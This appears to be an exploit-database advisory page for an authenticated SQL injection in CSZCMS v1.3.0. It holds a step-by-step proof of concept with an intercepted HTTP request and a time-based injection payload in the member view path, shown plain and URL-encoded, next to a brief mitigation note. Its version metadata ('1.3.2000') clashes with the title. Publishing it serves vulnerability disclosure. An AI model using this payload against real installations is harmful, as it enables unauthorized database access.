CSZCMS v1.3.0 - SQL Injection (Authenticated)

vendor:

CSZCMS

by:

Abdulaziz Almetairy

7.1

CVSS

HIGH

SQL Injection

CWE

Product Name: CSZCMS

Affected Version From: 1.3.2000

Affected Version To: 1.3.2000

Patch Exists: NO

Related CWE:

CPE: a:cszcms:cszcms:1.3.0

Metasploit:

Other Scripts:

Platforms Tested: Windows 11, MySQL, Apache

2024

CSZCMS v1.3.0 – SQL Injection (Authenticated)

An authenticated SQL injection vulnerability was found in CSZCMS v1.3.0. By manipulating the 'View' button next to a username in the Member Users section, an attacker can inject malicious SQL code using the 'sleep' function. This could lead to unauthorized access to the database or execution of arbitrary SQL queries.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input and use prepared statements in database queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Title:  CSZCMS v1.3.0 - SQL Injection (Authenticated)
# Author: Abdulaziz Almetairy
# Date: 27/01/2024
# Vendor: https://www.cszcms.com/
# Software: https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.3.0.zip/download
# Reference: https://github.com/oh-az
# Tested on: Windows 11, MySQL, Apache


# 1 - Log in to the admin portal

http://localhost/cszcms/admin/login

# 2 - Navigate to General Menu > Member Users.

# 3 Click the 'View' button next to any username.

# 4 Intercept the request

GET /cszcms/admin/members/view/1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: 86112035d26bb3c291899278f9ab4fb2_cszsess=n5v1jcdqfjuuo32ng66e4rttg65ugdss
Upgrade-Insecure-Requests: 1



# 5 Modify the paramter 

/cszcms/admin/members/view/1

to 

/cszcms/admin/members/view/'or(sleep(10))#

and url encode all characters

/cszcms/admin/members/view/%27%6f%72%28%73%6c%65%65%70%28%31%30%29%29%23%20